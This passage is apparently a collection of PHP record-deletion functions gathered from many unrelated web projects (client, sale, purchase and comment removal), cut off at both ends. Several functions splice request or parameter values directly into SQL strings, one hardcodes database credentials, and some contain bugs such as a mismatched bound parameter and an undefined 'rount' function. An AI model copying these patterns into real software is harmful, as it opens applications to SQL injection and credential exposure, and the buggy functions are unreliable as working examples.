$this->get_id_proyecto_actual();\n\t\tif ( $id_proyecto == 'toba' ) {\n\t\t\tthrow new toba_error(\"No es posible eliminar el proyecto 'toba'\");\n\t\t}\n\t\ttry {\n\t\t\t$p = $this->get_proyecto();\n\t\t\tif ( $this->consola->dialogo_simple(\"Desea ELIMINAR los metadatos y DESVINCULAR el proyecto '\"\n\t\t\t\t\t.$id_proyecto.\"' de la instancia '\"\n\t\t\t\t\t.$this->get_id_instancia_actual().\"'\") ) {\n\t\t\t\t$p->eliminar_autonomo();\n\t\t\t}\n\t\t} catch (toba_error $e) {\n\t\t\t$this->consola->error($e->__toString());\n\t\t}\n\t\t$this->get_instancia()->desvincular_proyecto( $id_proyecto );\n\t}", "public function eliminar($data)\n {\n $cliente=$this->db->query('delete from tab_cliente where id_cliente='.$data); \n }", "function eliminarCotizacion(){\n\t\t$this->procedimiento='adq.f_cotizacion_ime';\n\t\t$this->transaccion='ADQ_COT_ELI';\n\t\t$this->tipo_procedimiento='IME';\n\t\t\t\t\n\t\t//Define los parametros para la funcion\n\t\t$this->setParametro('id_cotizacion','id_cotizacion','int4');\n\n\t\t//Ejecuta la instruccion\n\t\t$this->armarConsulta();\n\t\t$this->ejecutarConsulta();\n\n\t\t//Devuelve la respuesta\n\t\treturn $this->respuesta;\n\t}", "public function delete_client_controller() {\n // reciving client id\n $id = clientModel::decryption($_POST['cliente_id_del']);\n $id = clientModel::clean_string($id);\n\n // Checking that the client exists in the database\n $sql = \"SELECT cliente.cliente_id\n FROM cliente\n WHERE cliente.cliente_id = '$id'\";\n $query = clientModel::execute_simple_query($sql);\n\n if (!$query->rowCount() > 0) {\n $res = clientModel::message_with_parameters(\"simple\", \"error\", \"Ocurrío un error inesperado\",\n \"¡El cliente que intenta eliminar no existe en el sistema!\");\n return $res;\n }\n\n // Cheching if the client has associated loan records\n $sql = \"SELECT prestamo.cliente_id\n FROM prestamo\n WHERE prestamo.cliente_id = '$id'\n LIMIT 1\";\n $query = clientModel::execute_simple_query($sql);\n\n if ($query->rowCount() > 0) {\n $res = clientModel::message_with_parameters(\"simple\", \"error\", \"Ocurrío un error inesperado\",\n \"No podemos elminar el cliente del sistema porque tiene prestamos asociados\");\n\n return $res;\n }\n\n // Checking privileges of current user\n session_start(['name' => 'SPM']);\n if ($_SESSION['privilegio_spm'] != 1) {\n $res = clientModel::message_with_parameters(\"simple\", \"error\", \"Ocurrío un error inesperado\",\n \"¡No tienes los permisos necesarios para realizar esta operación!\");\n return $res;\n }\n\n // Deleting client of the system\n $query = clientModel::delete_client_model($id);\n\n if ($query->rowCount() == 1) {\n $res = clientModel::message_with_parameters(\"reload\", \"success\", \"Cliente eliminado\",\n \"El cliente ha sido eliminado del sistema con exito.\");\n } else {\n $res = clientModel::message_with_parameters(\"simple\", \"error\", \"Ocurrío un error inesperado.\",\n \"No hemos podido eliminar el cliente, por favor intentelo nuevamente\");\n }\n\n return $res;\n }", "public function EliminarId()\n\t{\n\t\theader (\"content-type: application/json; charset=utf-8\");\n\t\tif($this->_Method == \"POST\")\n\t\t{\n\t\t\t// Validaciones\n\t\t\tif(validarTokenAntiCSRF(\"_JS\"))\n\t\t\t{\n\t\t\t\t//Creamos una instancia de nuestro \"modelo\"\n\t\t\t\t$item = $this->ObtenModelPostId();\n\t\t\t\tif($item != null && $item->Eliminar())\n\t\t\t\t{\n\t\t\t\t\techo json_encode( array(\"Estado\"=>1) );\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\techo json_encode( array(\"Estado\"=>0, \"Error\"=>\"No eliminador\" ) );\n\t\t\t\t}\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\techo json_encode( array(\"Estado\"=>0, \"Error\"=>\"No permitido, por fallo de Token anti CSRF.\" ) );\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\techo json_encode( array(\"Estado\"=>0, \"Error\"=>\"No permitido, solo por POST.\") );\n\t\t}\n\t}", "function EliminarMascotas($nombres, $primer_apellido, $segundo_apellido, $fehca_nacimiento, $lugar_nacimiento, $iddepartamento, $idmunicipio, $telefono_casa, $celular, $direccion, $foto){\n $conexion = Conectar();\n $sql = \"DELETE FROM padrinos WHERE id=:id\";\n $statement = $conexion->prepare($sql);\n $statement->bindParam(':idpadrinos', $idpadrinos);\n $statement->execute();\n $statement->setFetchMode(PDO::FETCH_ASSOC);\n $res=$statement->fetchAll();\n return $res;\n}", "public static function deletar_animal_cliente(int $cliente_code): array{\r\n $db = new db_connect;\r\n // Puxando a tabela pet da classe db_connect;\r\n $tbl_pet = $db->tbl_pet;\r\n\r\n\r\n try {\r\n $stmt = $db->conn->prepare(\"DELETE FROM $tbl_pet WHERE COD_CLIENTE = :cliente_cod\");\r\n $stmt->bindParam(':cliente_cod', $cliente_code, \\PDO::PARAM_INT);\r\n $stmt->execute();\r\n\r\n $result['status'] = true;\r\n $result['message'] = \"Animal excludo com sucesso\";\r\n } catch (\\PDOException $e) {\r\n\r\n $result['status'] = false;\r\n $result['message'] = \"Error: \" . $e->getMessage();\r\n } \r\n\r\n return $result;\r\n\r\n }", "function eliminaDaDB($ID_cliente, $ID_ordine, $ID_foto) {\n $servername = \"localhost\";\n $username = \"onlinesales\";\n $password = \"Sale0nl1nE\";\n $dbname = \"fmc-db-onlinesales\";\n\n // Create connection\n $conn = new mysqli($servername, $username, $password, $dbname);\n // Check connection\n if ($conn->connect_error) {\n die(\"Connection failed: \" . $conn->connect_error);\n }\n $query1 = \"DELETE FROM `Ordine` WHERE `ID_cliente` = '$ID_cliente' AND `ID_ordine` = '$ID_ordine'\";\n $query2 = \"DELETE FROM `Cliente` WHERE `ID_cliente` = '$ID_cliente'\";\n $query3 = \"DELETE FROM `Foto` WHERE `ID_cliente` = '$ID_cliente'\";\n \n unlink(\"../Pagina_iniziale/images/\".$ID_foto);\n eseguiQuery($conn, $query1);\n eseguiQuery($conn, $query2);\n eseguiQuery($conn, $query3);\n // chiusura della connessione\n \n $conn->close();\n }", "public function eliminar_empresa_controlador(){\n\n\t\t$codigo=mainModel::decryption($_POST['codigo-del']);\n\t\t$Privilegio=mainModel::decryption($_POST['privilegio-admin']);\n\n\t\t$codigo=mainModel::limpiar_cadena($codigo);\n\t\t$Privilegio=mainModel::limpiar_cadena($Privilegio);\n\n\t\tif($Privilegio==1){\n\n\t\t\t$consulta1=mainModel::ejecutar_consulta_simple(\"SELECT EmpresaCodigo FROM libro WHERE EmpresaCodigo='$codigo'\");\n\n\t\t\t\n\t\t\tif($consulta1->rowCount()<=0){\n\t\t\t\t$ElimEmp=empresaModelo::eliminar_empresa_modelo($codigo);\n\t\t\t\t\n\t\t\t\tif($ElimEmp->rowCount()==1){\n\t\t\t\t\t$alerta=[\n\t\t\t\t\t\t\t\"Alertas\"=>\"recargar\",\n\t\t\t\t\t\t\t\"Titulo\"=>\"Empresa Eliminada\",\n\t\t\t\t\t\t\t\"Texto\"=>\"Se elimino la empresa de manera satisfactoria\",\n\t\t\t\t\t\t\t\"Tipo\"=>\"success\"\n\t\t\t\t\t\t];\t\n\t\t\t\t}else{\n\t\t\t\t\t$alerta=[\n\t\t\t\t\t\"Alertas\"=>\"simple\",\n\t\t\t\t\t\"Titulo\"=>\"Ocurrio un error inesperado\",\n\t\t\t\t\t\"Texto\"=>\"Lo sentimos no se puede eliminar la empresa, \",\n\t\t\t\t\t\"Tipo\"=>\"error\"\n\t\t\t\t\t];\n\t\t\t\t}\t\n\t\t\t}else{\n\t\t\t\t$alerta=[\n\t\t\t\t\"Alertas\"=>\"simple\",\n\t\t\t\t\"Titulo\"=>\"Ocurrio un error inesperado\",\n\t\t\t\t\"Texto\"=>\"No se puede eliminar la empresa, teniendo en cuenta que hay libros asociados a esta empresa\",\n\t\t\t\t\"Tipo\"=>\"error\"\n\t\t\t];\n\t\t\t}\n\t\t}else{\n\t\t\t\t$alerta=[\n\t\t\t\t\"Alertas\"=>\"simple\",\n\t\t\t\t\"Titulo\"=>\"Ocurrio un error inesperado\",\n\t\t\t\t\"Texto\"=>\"No se puede eliminar la empresa.\",\n\t\t\t\t\"Tipo\"=>\"error\"\n\t\t\t];\n\t\t}\n\t\treturn mainModel::sweet_alert($alerta);\n\t\t\n\t}", "public function delete($id){\n\t\t$dropCliente = Cliente::find($id);\n\t\t$dropCliente->delete();\n\t}", "public function excluir(){\n\t\n\t\t$idcomentario = $this->uri->segment(3);\n\t\tif ($idcomentario != NULL):\n\t\t\t$query = $this->Comentarios->get_byid($idcomentario);\n\t\t\tif ($query->num_rows()==1):\n\t\t\t\t$query = $query->row();\n\t\t\t\t$this->Comentarios->do_delete(array('id_comentario'=>$query->id_comentario), FALSE);\n\t\t\tendif;\n\t\telse:\n\t\t\tset_msg('msgerro', 'Escolha um comentario para excluir', 'erro');\n\t\tendif;\n\t\t\tredirect('comentarios/gerenciar');\n\t}", "public function excluir()\n {\n $pdo = new \\PDO(DSN, USER, PASSWD);\n //cria sql\n $sql = \"DELETE FROM EquipeDiscipulos WHERE discipuloId = ?\n AND equipeId = ?\n \";\n\n //prepara sql\n $stm = $pdo->prepare($sql);\n //trocar valores\n $stm->bindParam(1, $this->discipuloId );\n $stm->bindParam(2, $this->equipeId );\n\n $resposta = $stm->execute();\n\n $erro = $stm->errorInfo();\n\n //fechar conexão\n $pdo = null ;\n\n return $resposta;\n\n }", "function borrar_prov_serv_cost($idproveedor,$idservicio){\n\t\t$sql=\"\n\t\tDELETE FROM catalogo_proveedor_servicio_costo_negociado WHERE IDPROVEEDOR='$idproveedor' AND IDSERVICIO='$idservicio'\n\t\t\";\n\t\t$this->query($sql);\n\t\treturn;\n\t}", "static public function mdlBorrarCliente($tabla, $datos){\r\n\r\n\t\t$stmt = Conexion::conectar()->prepare(\"DELETE FROM $tabla WHERE idCliente = :idCliente\");\r\n\r\n\t\t$stmt -> bindParam(\":idCliente\", $datos, PDO::PARAM_INT);\r\n\r\n\t\tif($stmt -> execute()){\r\n\r\n\t\t\treturn \"ok\";\r\n\t\t\r\n\t\t}else{\r\n\r\n\t\t\treturn \"error\";\t\r\n\r\n\t\t}\r\n\r\n\t\t$stmt -> close();\r\n\r\n\t\t$stmt = null;\r\n\r\n\r\n\t}", "public function deleting(Seguimiento $Seguimiento){\n \n }", "function delete_client($id_client){\n \n $sql = \"DELETE FROM client WHERE id_client = \".$id_client.\"\";\n \n $res = $this->pdo->query($sql);\n if(!$res){\n $this->message = \"impossible de supprimer le client\";\n return false;\n }\n return true;\n }", "public function delete() {\n $conexion = StorianDB::connectDB();\n $borrado = \"DELETE FROM cuento WHERE id=\\\"\".$this->id.\"\\\"\";\n $conexion->exec($borrado);\n }", "function clients_deleteClient($id) {\n\tglobal $Auth;\n\n\t## multiclient\n\t$client_id = $Auth->auth[\"client_id\"];\n\t\n\t## the basic client only supports email and password- email needs to be unique\t\n\n\t## prepare the db-object\n\t$db = new DB_Sql();\n\t$select_query = \"DELETE FROM \".USER_PAGES.\" WHERE id='$id' AND client_id='$client_id'\";\n\t$result_pointer = $db->query($select_query);\t\n}", "function eliminarChequera(){\n\t\t$this->procedimiento='tes.f_chequera_ime';\n\t\t$this->transaccion='TES_CHQ_ELI';\n\t\t$this->tipo_procedimiento='IME';\n\t\t\t\t\n\t\t//Define los parametros para la funcion\n\t\t$this->setParametro('id_chequera','id_chequera','int4');\n\n\t\t//Ejecuta la instruccion\n\t\t$this->armarConsulta();\n\t\t$this->ejecutarConsulta();\n\n\t\t//Devuelve la respuesta\n\t\treturn $this->respuesta;\n\t}", "public function destroy(Cliente $cliente)\n {\n //\n }", "public function destroy(Cliente $cliente)\n {\n //\n }", "public function destroy(Cliente $cliente)\n {\n //\n }", "public function remover() {\n \n $queryVerificaInscricao = '\n select * from tb_inscricao_atividade where id_atividade = :id_atividade \n ';\n \n $stmtInscAtt = $this->conexao->prepare($queryVerificaInscricao);\n $stmtInscAtt->bindValue(':id_atividade', $_GET['id_att']);\n $stmtInscAtt->execute();\n \n $inscAtt = $stmtInscAtt->fetchAll(PDO::FETCH_OBJ);\n \n // echo '<pre>';\n // print_r($inscAtt);\n // echo '</pre>';\n \n if (!empty($inscAtt)) {\n foreach ($inscAtt as $inscAttInd) {\n $queryDeleteInscAtt = 'delete from tb_inscricao_atividade where \n id_atividade = :id_atividadeDel and \n id_evento = :id_eventoDel and \n id_usuario = :id_usuarioDel';\n \n $stmtInscAttDel = $this->conexao->prepare($queryDeleteInscAtt);\n $stmtInscAttDel->bindValue(':id_atividadeDel', $inscAttInd->id_atividade);\n $stmtInscAttDel->bindValue(':id_eventoDel', $inscAttInd->id_evento);\n $stmtInscAttDel->bindValue(':id_usuarioDel', $inscAttInd->id_usuario);\n $stmtInscAttDel->execute();\n }\n }\n\n $queryInscCupomAtt = '\n select * from tb_cupom where id_atividade = :id_atividadeCupDel\n ';\n\n $stmtInscCupomAtt = $this->conexao->prepare($queryInscCupomAtt);\n $stmtInscCupomAtt->bindValue(':id_atividadeCupDel', $_GET['id_att']);\n $stmtInscCupomAtt->execute();\n\n $cupomAtt = $stmtInscCupomAtt->fetchAll(PDO::FETCH_OBJ);\n\n // echo '<pre>';\n // print_r($cupomAtt);\n // echo '</pre>';\n\n if (!empty($cupomAtt)) {\n foreach ($cupomAtt as $cupomAttInd) {\n $queryDeleteCupomAtt = '\n delete from tb_cupom where id = :id_cupomDel\n ';\n\n echo $cupomAttInd->id;\n\n $stmtInscCupomAttDel = $this->conexao->prepare($queryDeleteCupomAtt);\n $stmtInscCupomAttDel->bindValue(':id_cupomDel', $cupomAttInd->id);\n $stmtInscCupomAttDel->execute();\n }\n }\n \n $query = '\n delete from tb_atividade \n where id = :id';\n\n $stmt = $this->conexao->prepare($query);\n $stmt->bindValue(':id', $_GET['id_att']);\n\n return $stmt->execute();\n }", "public function Excluir(){\n $idMotorista = $_GET['id'];\n\n $motorista = new Motorista();\n\n $motorista->id = $idMotorista;\n\n $motorista::Delete($motorista);\n\n\n }", "public function EliminarDetallesCompras()\n{\n\tif($_SESSION['acceso'] == \"administrador\") {\n\n\t\tself::SetNames();\n\t\t$sql = \" select * from detallecompras where codcompra = ? \";\n\t\t$stmt = $this->dbh->prepare($sql);\n\t\t$stmt->execute( array(base64_decode($_GET[\"codcompra\"])) );\n\t\t$num = $stmt->rowCount();\n\t\tif($num > 1)\n\t\t{\n\n\t\t\t$sql = \" delete from detallecompras where coddetallecompra = ? \";\n\t\t\t$stmt = $this->dbh->prepare($sql);\n\t\t\t$stmt->bindParam(1,$coddetallecompra);\n\t\t\t$coddetallecompra = base64_decode($_GET[\"coddetallecompra\"]);\n\t\t\t$stmt->execute();\n\n################ VERIFICAMOS SI EL TIPO DE ENTRADA ES UN INGREDINTE ###################\n\tif($_POST['tipoentrada']==\"INGREDIENTE\"){\n\n\t\t$sql2 = \"select cantingrediente from ingredientes where cantingrediente = ?\";\n\t\t$stmt = $this->dbh->prepare($sql2);\n\t\t$stmt->execute( array(base64_decode($_GET[\"codproducto\"])));\n\t\t$num = $stmt->rowCount();\n\n\t\tif($row = $stmt->fetch(PDO::FETCH_ASSOC))\n\t\t{\n\t\t\t$p[] = $row;\n\t\t}\n\t\t$existenciadb = $p[0][\"cantingrediente\"];\n\n###################### REALIZAMOS LA ELIMINACION DEL PRODUCTO EN KARDEX ############################\n\t\t$sql = \" delete from kardexingredientes where codprocesoing = ? and codingrediente = ?\";\n\t\t$stmt = $this->dbh->prepare($sql);\n\t\t$stmt->bindParam(1,$codcompra);\n\t\t$stmt->bindParam(2,$codproducto);\n\t\t$codcompra = strip_tags(base64_decode($_GET[\"codcompra\"]));\n\t\t$codproducto = strip_tags(base64_decode($_GET[\"codproducto\"]));\n\t\t$stmt->execute();\n\n###################### ACTUALIZAMOS LOS DATOS DEL PRODUCTO EN ALMACEN ############################\n\t\t$sql = \" update ingredientes set \"\n\t\t.\" cantingrediente = ? \"\n\t\t.\" where \"\n\t\t.\" codingrediente = ?;\n\t\t\";\n\t\t$stmt = $this->dbh->prepare($sql);\n\t\t$stmt->bindParam(1, $existencia);\n\t\t$stmt->bindParam(2, $codproducto);\n\t\t$cantcompra = strip_tags(base64_decode($_GET[\"cantcompra\"]));\n\t\t$codproducto = strip_tags(base64_decode($_GET[\"codproducto\"]));\n\t\t$existencia = $existenciadb - $cantcompra;\n\t\t$stmt->execute();\n\n################ VERIFICAMOS SI EL TIPO DE ENTRADA ES UN PRODUCTO ###################\n\t\t\t} else {\n\n\t\t$sql2 = \"select existencia from productos where codproducto = ?\";\n\t\t$stmt = $this->dbh->prepare($sql2);\n\t\t$stmt->execute( array(base64_decode($_GET[\"codproducto\"])));\n\t\t$num = $stmt->rowCount();\n\n\t\tif($row = $stmt->fetch(PDO::FETCH_ASSOC))\n\t\t{\n\t\t\t$p[] = $row;\n\t\t}\n\t\t$existenciadb = $p[0][\"existencia\"];\n\n###################### REALIZAMOS LA ELIMINACION DEL PRODUCTO EN KARDEX ############################\n\t\t$sql = \" delete from kardexproductos where codproceso = ? and codproducto = ?\";\n\t\t$stmt = $this->dbh->prepare($sql);\n\t\t$stmt->bindParam(1,$codcompra);\n\t\t$stmt->bindParam(2,$codproducto);\n\t\t$codcompra = strip_tags(base64_decode($_GET[\"codcompra\"]));\n\t\t$codproducto = strip_tags(base64_decode($_GET[\"codproducto\"]));\n\t\t$stmt->execute();\n\n###################### ACTUALIZAMOS LOS DATOS DEL PRODUCTO EN ALMACEN ############################\n\t\t$sql = \" update productos set \"\n\t\t.\" existencia = ? \"\n\t\t.\" where \"\n\t\t.\" codproducto = ?;\n\t\t\";\n\t\t$stmt = $this->dbh->prepare($sql);\n\t\t$stmt->bindParam(1, $existencia);\n\t\t$stmt->bindParam(2, $codproducto);\n\t\t$cantcompra = strip_tags(base64_decode($_GET[\"cantcompra\"]));\n\t\t$codproducto = strip_tags(base64_decode($_GET[\"codproducto\"]));\n\t\t$existencia = $existenciadb - $cantcompra;\n\t\t$stmt->execute();\n\n\t\t\t}\n\n\t\t$sql4 = \"select * from compras where codcompra = ? \";\n\t\t$stmt = $this->dbh->prepare($sql4);\n\t\t$stmt->execute( array(base64_decode($_GET[\"codcompra\"])));\n\t\t$num = $stmt->rowCount();\n\n\t\t\tif($row = $stmt->fetch(PDO::FETCH_ASSOC))\n\t\t\t{\n\t\t\t\t$paea[] = $row;\n\t\t\t}\n\t\t$subtotalivasic = $paea[0][\"subtotalivasic\"];\n\t\t$subtotalivanoc = $paea[0][\"subtotalivanoc\"];\n\t\t$iva = $paea[0][\"ivac\"]/100;\n\t\t$descuento = $paea[0][\"descuentoc\"]/100;\n\t\t$totalivac = $paea[0][\"totalivac\"];\n\t\t$totaldescuentoc = $paea[0][\"totaldescuentoc\"];\n\n\t$sql3 = \"select sum(importecompra) as importe from detallecompras where codcompra = ? and ivaproductoc = 'SI'\";\n $stmt = $this->dbh->prepare($sql3);\n $stmt->execute( array(base64_decode($_GET[\"codcompra\"])));\n $num = $stmt->rowCount();\n \n if($rowp = $stmt->fetch())\n {\n $p[] = $rowp;\n }\n $importeivasi = ($rowp[\"importe\"]== \"\" ? \"0\" : $rowp[\"importe\"]);\n\n$sql5 = \"select sum(importecompra) as importe from detallecompras where codcompra = ? and ivaproductoc = 'NO'\";\n $stmt = $this->dbh->prepare($sql5);\n $stmt->execute( array(base64_decode($_GET[\"codcompra\"])));\n $num = $stmt->rowCount();\n \n if($roww = $stmt->fetch())\n {\n $pw[] = $roww;\n }\n $importeivano = ($roww[\"importe\"]== \"\" ? \"0\" : $roww[\"importe\"]);\n\n if(base64_decode($_GET[\"ivaproductoc\"])==\"SI\"){\t\n\t\n\t\t$sql = \" update compras set \"\n\t\t\t .\" subtotalivasic = ?, \"\n\t\t\t .\" totalivac = ?, \"\n\t\t\t .\" totaldescuentoc = ?, \"\n\t\t\t .\" totalc= ? \"\n\t\t\t .\" where \"\n\t\t\t .\" codcompra = ?;\n\t\t\t \";\n\t\t$stmt = $this->dbh->prepare($sql);\n\t\t$stmt->bindParam(1, $subtotal);\n\t\t$stmt->bindParam(2, $totaliva);\n\t\t$stmt->bindParam(3, $totaldescuentoc);\n\t\t$stmt->bindParam(4, $total);\n\t\t$stmt->bindParam(5, $codcompra);\n\t\t\n\t\t$subtotal= strip_tags($importeivasi);\n $totaliva= rount($subtotal*$iva,2);\n\t\t$tot= rount($subtotal+$subtotalivanoc+$totaliva,2);\n\t\t$totaldescuentoc= rount($tot*$descuento,2);\n\t\t$total= rount($tot-$totaldescuentoc,2);\n\t\t$codcompra = strip_tags(base64_decode($_GET[\"codcompra\"]));\n\t\t$stmt->execute();\n\t\t\n\t\t } else {\n\t\t\n\t\t$sql = \" update compras set \"\n\t\t\t .\" subtotalivanoc = ?, \"\n\t\t\t .\" totaldescuentoc = ?, \"\n\t\t\t .\" totalc= ? \"\n\t\t\t .\" where \"\n\t\t\t .\" codcompra = ?;\n\t\t\t \";\n\t\t$stmt = $this->dbh->prepare($sql);\n\t\t$stmt->bindParam(1, $subtotal);\n\t\t$stmt->bindParam(2, $totaldescuentoc);\n\t\t$stmt->bindParam(3, $total);\n\t\t$stmt->bindParam(4, $codcompra);\n\t\t\n\t\t$subtotal= strip_tags($importeivano);\n\t\t$tot= rount($subtotal+$subtotalivasic+$totalivac,2);\n\t\t$totaldescuentoc= rount($tot*$descuento,2);\n\t\t$total= rount($tot-$totaldescuentoc,2);\n\t\t$codcompra = strip_tags(base64_decode($_GET[\"codcompra\"]));\n\t\t$stmt->execute();\t\t\n\t\t }\t\t\t\t\t\n\n\t\theader(\"Location: detallescompras?mesage=2\");\n\t\texit;\n\n\t\t}\n\t\telse\n\t\t{\n\n################ VERIFICAMOS SI EL TIPO DE ENTRADA ES UN INGREDINTE ###################\n\tif($_POST['tipoentrada']==\"INGREDIENTE\"){\n\n\t\t$sql2 = \"select cantingrediente from ingredientes where cantingrediente = ?\";\n\t\t$stmt = $this->dbh->prepare($sql2);\n\t\t$stmt->execute( array(base64_decode($_GET[\"codproducto\"])));\n\t\t$num = $stmt->rowCount();\n\n\t\tif($row = $stmt->fetch(PDO::FETCH_ASSOC))\n\t\t{\n\t\t\t$p[] = $row;\n\t\t}\n\t\t$existenciadb = $p[0][\"cantingrediente\"];\n\n###################### ACTUALIZAMOS LOS DATOS DEL PRODUCTO EN ALMACEN ############################\n\t\t$sql = \" update ingredientes set \"\n\t\t.\" cantingrediente = ? \"\n\t\t.\" where \"\n\t\t.\" codingrediente = ?;\n\t\t\";\n\t\t$stmt = $this->dbh->prepare($sql);\n\t\t$stmt->bindParam(1, $existencia);\n\t\t$stmt->bindParam(2, $codproducto);\n\t\t$cantcompra = strip_tags(base64_decode($_GET[\"cantcompra\"]));\n\t\t$codproducto = strip_tags(base64_decode($_GET[\"codproducto\"]));\n\t\t$existencia = $existenciadb - $cantcompra;\n\t\t$stmt->execute();\n\n###################### REALIZAMOS LA ELIMINACION DEL PRODUCTO EN KARDEX ############################\n\t\t$sql = \" delete from kardexingredientes where codprocesoing = ? and codingrediente = ?\";\n\t\t$stmt = $this->dbh->prepare($sql);\n\t\t$stmt->bindParam(1,$codcompra);\n\t\t$stmt->bindParam(2,$codproducto);\n\t\t$codcompra = strip_tags(base64_decode($_GET[\"codcompra\"]));\n\t\t$codproducto = strip_tags(base64_decode($_GET[\"codproducto\"]));\n\t\t$stmt->execute();\n\n################ VERIFICAMOS SI EL TIPO DE ENTRADA ES UN PRODUCTO ###################\n\t\t\t} else {\n\n###################### ACTUALIZAMOS LOS DATOS DEL PRODUCTO EN ALMACEN ############################\n\t\t$sql2 = \"select existencia from productos where codproducto = ?\";\n\t\t$stmt = $this->dbh->prepare($sql2);\n\t\t$stmt->execute( array(base64_decode($_GET[\"codproducto\"])));\n\t\t$num = $stmt->rowCount();\n\n\t\tif($row = $stmt->fetch(PDO::FETCH_ASSOC))\n\t\t{\n\t\t\t$p[] = $row;\n\t\t}\n\t\t$existenciadb = $p[0][\"existencia\"];\n\n\t\t$sql = \" update productos set \"\n\t\t.\" existencia = ? \"\n\t\t.\" where \"\n\t\t.\" codproducto = ?;\n\t\t\";\n\t\t$stmt = $this->dbh->prepare($sql);\n\t\t$stmt->bindParam(1, $existencia);\n\t\t$stmt->bindParam(2, $codproducto);\n\t\t$cantcompra = strip_tags(base64_decode($_GET[\"cantcompra\"]));\n\t\t$codproducto = strip_tags(base64_decode($_GET[\"codproducto\"]));\n\t\t$existencia = $existenciadb - $cantcompra;\n\t\t$stmt->execute();\n\n###################### REALIZAMOS LA ELIMINACION DEL PRODUCTO EN KARDEX ############################\n\t\t$sql = \" delete from kardexproductos where codproceso = ? and codproducto = ?\";\n\t\t$stmt = $this->dbh->prepare($sql);\n\t\t$stmt->bindParam(1,$codcompra);\n\t\t$stmt->bindParam(2,$codproducto);\n\t\t$codcompra = strip_tags(base64_decode($_GET[\"codcompra\"]));\n\t\t$codproducto = strip_tags(base64_decode($_GET[\"codproducto\"]));\n\t\t$stmt->execute();\n\n\t\t$sql = \" delete from compras where codcompra = ?\";\n\t\t$stmt = $this->dbh->prepare($sql);\n\t\t$stmt->bindParam(1,$codcompra);\n\t\t$codcompra = base64_decode($_GET[\"codcompra\"]);\n\t\t$stmt->execute();\n\n\t\t$sql = \" delete from detallecompras where coddetallecompra = ? \";\n\t\t$stmt = $this->dbh->prepare($sql);\n\t\t$stmt->bindParam(1,$coddetallecompra);\n\t\t$coddetallecompra = base64_decode($_GET[\"coddetallecompra\"]);\n\t\t$stmt->execute();\n\n\t\t\t}\n\n\t\t\theader(\"Location: detallescompras?mesage=2\");\n\t\t\texit;\n\t\t}\n\t}\n\telse\n\t{\n\t\theader(\"Location: detallescompras?mesage=3\");\n\t\texit;\n\t}\n}", "static public function ctrEliminarVenta(){\n\n\t\tif(isset($_GET[\"idVenta\"])){\n\n\t\t\t$tabla = \"ventas\";\n\n\t\t\t$item = \"id\";\n\t\t\t$valor = $_GET[\"idVenta\"];\n\n\t\t\t$traerVenta = ModeloVentas::mdlMostrarVentas($tabla, $item, $valor);\n\n\t\t\t/*=============================================\n\t\t\tACTUALIZAR FECHA ÚLTIMA COMPRA\n\t\t\t=============================================*/\n\n\t\t\t$tablaClientes = \"clientes\";\n\n\t\t\t$itemVentas = null;\n\t\t\t$valorVentas = null;\n\n\t\t\t$traerVentas = ModeloVentas::mdlMostrarVentas($tabla, $itemVentas, $valorVentas);\n\n\t\t\t$guardarFechas = array();\n\n\t\t\tforeach ($traerVentas as $key => $value) {\n\t\t\t\t\n\t\t\t\tif($value[\"id_cliente\"] == $traerVenta[\"id_cliente\"]){\n\n\t\t\t\t\tarray_push($guardarFechas, $value[\"fecha\"]);\n\n\t\t\t\t}\n\n\t\t\t}\n\n\t\t\tif(count($guardarFechas) > 1){\n\n\t\t\t\tif($traerVenta[\"fecha\"] > $guardarFechas[count($guardarFechas)-2]){\n\n\t\t\t\t\t$item = \"ultima_compra\";\n\t\t\t\t\t$valor = $guardarFechas[count($guardarFechas)-2];\n\t\t\t\t\t$valorIdCliente = $traerVenta[\"id_cliente\"];\n\n\t\t\t\t\t$comprasCliente = ModeloClientes::mdlActualizarCliente($tablaClientes, $item, $valor, $valorIdCliente);\n\n\t\t\t\t}else{\n\n\t\t\t\t\t$item = \"ultima_compra\";\n\t\t\t\t\t$valor = $guardarFechas[count($guardarFechas)-1];\n\t\t\t\t\t$valorIdCliente = $traerVenta[\"id_cliente\"];\n\n\t\t\t\t\t$comprasCliente = ModeloClientes::mdlActualizarCliente($tablaClientes, $item, $valor, $valorIdCliente);\n\n\t\t\t\t}\n\n\n\t\t\t}else{\n\n\t\t\t\t$item = \"ultima_compra\";\n\t\t\t\t$valor = \"0000-00-00 00:00:00\";\n\t\t\t\t$valorIdCliente = $traerVenta[\"id_cliente\"];\n\n\t\t\t\t$comprasCliente = ModeloClientes::mdlActualizarCliente($tablaClientes, $item, $valor, $valorIdCliente);\n\n\t\t\t}\n\n\t\t\t/*=============================================\n\t\t\tFORMATEAR TABLA DE PRODUCTOS Y LA DE CLIENTES\n\t\t\t=============================================*/\n\n\t\t\t$productos = json_decode($traerVenta[\"productos\"], true);\n\n\t\t\t$totalProductosComprados = array();\n\n\t\t\tforeach ($productos as $key => $value) {\n\n\t\t\t\tarray_push($totalProductosComprados, $value[\"cantidad\"]);\n\t\t\t\t\n\t\t\t\t$tablaProductos = \"productos\";\n\n\t\t\t\t$item = \"id\";\n\t\t\t\t$valor = $value[\"id\"];\n\t\t\t\t$orden = \"id\";\n\n\t\t\t\t$traerProducto = ModeloProductos::mdlMostrarProductos($tablaProductos, $item, $valor, $orden);\n\n\t\t\t\t$item1a = \"ventas\";\n\t\t\t\t$valor1a = $traerProducto[\"ventas\"] - $value[\"cantidad\"];\n\n\t\t\t\t$nuevasVentas = ModeloProductos::mdlActualizarProducto($tablaProductos, $item1a, $valor1a, $valor);\n\n\t\t\t\t$item1b = \"stock\";\n\t\t\t\t$valor1b = $value[\"cantidad\"] + $traerProducto[\"stock\"];\n\n\t\t\t\t$nuevoStock = ModeloProductos::mdlActualizarProducto($tablaProductos, $item1b, $valor1b, $valor);\n\n\t\t\t}\n\n\t\t\t$tablaClientes = \"clientes\";\n\n\t\t\t$itemCliente = \"id\";\n\t\t\t$valorCliente = $traerVenta[\"id_cliente\"];\n\n\t\t\t$traerCliente = ModeloClientes::mdlMostrarClientes($tablaClientes, $itemCliente, $valorCliente);\n\n\t\t\t$item1a = \"compras\";\n\t\t\t$valor1a = $traerCliente[\"compras\"] - array_sum($totalProductosComprados);\n\n\t\t\t$comprasCliente = ModeloClientes::mdlActualizarCliente($tablaClientes, $item1a, $valor1a, $valorCliente);\n\n\t\t\t/*=============================================\n\t\t\tELIMINAR 